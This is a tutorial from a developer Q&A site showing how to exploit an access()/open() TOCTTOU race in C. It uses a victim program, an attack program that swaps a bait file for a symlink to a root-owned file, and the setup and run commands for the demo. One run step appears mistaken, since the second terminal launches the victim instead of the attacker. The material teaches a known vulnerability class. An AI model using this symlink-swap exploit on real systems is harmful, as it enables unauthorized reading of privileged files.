Trusted answers to developer questions

How to simulate a Race Condition in C

Get the Learn to Code Starter Pack

Break into tech with the logic & computer science skills you’d learn in a bootcamp or university — at a fraction of the cost. Educative's hand-on curriculum is perfect for new learners hoping to launch a career.

Introduction

A race condition occurs when at least two threads try to access or modify the same shared datacould be a simple file, a variable, or a memory buffer at the same time.

Thread A and thread B trying to access the same file F

The outcome is depends on the timing of the threads.

An attack that exploits a race condition vulnerability is called TOCTTOUtime of check to time of use.

To take place, a TOCTTOU attack requires two steps:

  1. A program checks the status of a file

  2. The same program operates assuming the status didn’t change

One of the most famous race condition vulnerabilities is between the access() and the open() system call.

The access() system call checks if a user is authorized to access a file, while the open() system call proceeds to open that file.

In this article, I want to describe how to exploit this race condition.

We are going to use two different source files, victim.c and attack.c .

Additionally, two simple files are needed, let’s call them a and b.

Now, let’s proceed to understanding the code.

The aim is to open the target file (b). Since we don’t have the permission to open it, we will try to cheat the access() using file a as a bait file.

Accessing a file

In the victim.c file, we declare two variables, a file descriptor and a buffer. We will use them in order to store the return value of open() and to read from the file descriptor into the buffer.

int fd;
char buffer[256];
printf("Input file: %s\n", argv[1]);

Thereafter, the access() and open() system calls come on stage.

// 1 - Check the privileges of the input file passed as parameter with access() syscall
if(access(argv[1], R_OK) < 0){
perror("Access error ");
fprintf(stderr, "Cannot access file, errno = %d\n", errno);
return -1;
}

The access() returns 0 if the call was successful; if it fails, -1 is returned and we enter inside the if condition to print the errno value.

Our priority here is to get the return value equal to zero, which means we have the permission to access that file specified as argv[1] (the bait file known as a).

// 2 - Open the file
if((fd = open(argv[1], O_RDONLY)) < 0){
fprintf(stderr, "Open error: %s\nErrno code => %d\n", strerror(errno), errno);
return -1;
}
read(fd, buffer, sizeof(buffer));
printf("%s", buffer);
return 0;

Here, we come with the open() system call, which returns the new file descriptor (a nonnegative integer) in case of success, and -1 in case of failure.

At the end, we read sizeof(buffer) bytes from the file descriptor (fd) into the buffer.

If everything goes right, our program (victim.c) will return 0.

Attack via symlink

Now, let’s focus on the real attack (attack.c file). We will have to gain access to the target file; although we don’t have the necessary privilege to do so.

The main thing to do now is to find a way to cheat the permission policy and gain the access of the target file b (argv[2] in the code).

We can exploit a symlink in the linux file system.

A symlink (symbolic link) is nothing more than a file that points to another file.

The trick is easy, our window of vulnerability lays between the access() and open() calls in the victim.c file.

// 1 - Check the privileges of the input file passed as parameter with access() syscall
if(access(argv[1], R_OK) < 0){
perror("Access error ");
fprintf(stderr, "Cannot access file, errno = %d\n", errno);
return -1;
}
/*
Window of vulnerability
The race condition occurs here
After access() and before open()
*/
// 2 - Open the file
if((fd = open(argv[1], O_RDONLY)) < 0){
fprintf(stderr, "Open error: %s\nErrno code => %d\n", strerror(errno), errno);
return -1;
}

After access() checks that the victim is allowed to access the file, our program attack.c is launched.

if(unlink(argv[1]) != 0){
// Cannot remove the file
perror("Unlink error: ");
fprintf(stderr, "Cannot remove the file, errno = %d\n", errno);
return -1;
}

The first step consists of removing the original bait file and if the unlink() operation is successful, a new bait file is created and linked to the target file, as described in the code below.

// 2 - Create the link by symlink() using the first input file name as argument
if(symlink(argv[2], argv[1]) != 0){
// Cannot create the symlink
perror("Symlink error: ");
fprintf(stderr, "Failed link, errno = %d\n", errno);
return -1;
}

That’s the trick! We just raised a race condition here after gaining the privileges with access(). Now, to make it believe we wanted to open file a (argv[1]), we remove this file and replace it with a symlink file that points to the target file b (argv[2]). Thereafter, the open() is invoked, opening the file a linked to b – we’re gonna read its content.

Preparing the environment

In order to simulate our attack, we should first prepare our environment.

We begin with the creation of a directory called out under the /tmp/ dir. This creates the files a and b and populates them with the echo command. Lastly, ownership of the target file is given to the root.

mkdir /tmp/out/
touch /tmp/out/a
touch /tmp/out/b
echo "a" > /tmp/out/a
echo "b" > /tmp/out/b
chown root:root /tmp/out/b

Now, let’s proceed to compile and run the programs.

Open two terminal windows and follow the commands shown below.

In the first terminal, let’s give these commands:

gcc victim.c -o victim
./victim /tmp/out/a

In the second terminal:

gcc attack.c -o attack
./victim /tmp/out/b

Now, just repeat the execution of the victim program attempting to read a file.

When you come across an output as below, you’re done!

./victim /tmp/out/a
Input file: /tmp/out/a
b

Conclusion

The TOCTTOU attack was successful, we cheated access() and fed it with a file, while we actually read the b file, our initial target.

You can find the whole code in my github repo in the “Symlink_race_conditions” folder.

RELATED TAGS

c

CONTRIBUTOR

Rosario Matteo Grammatico
Did you find this helpful?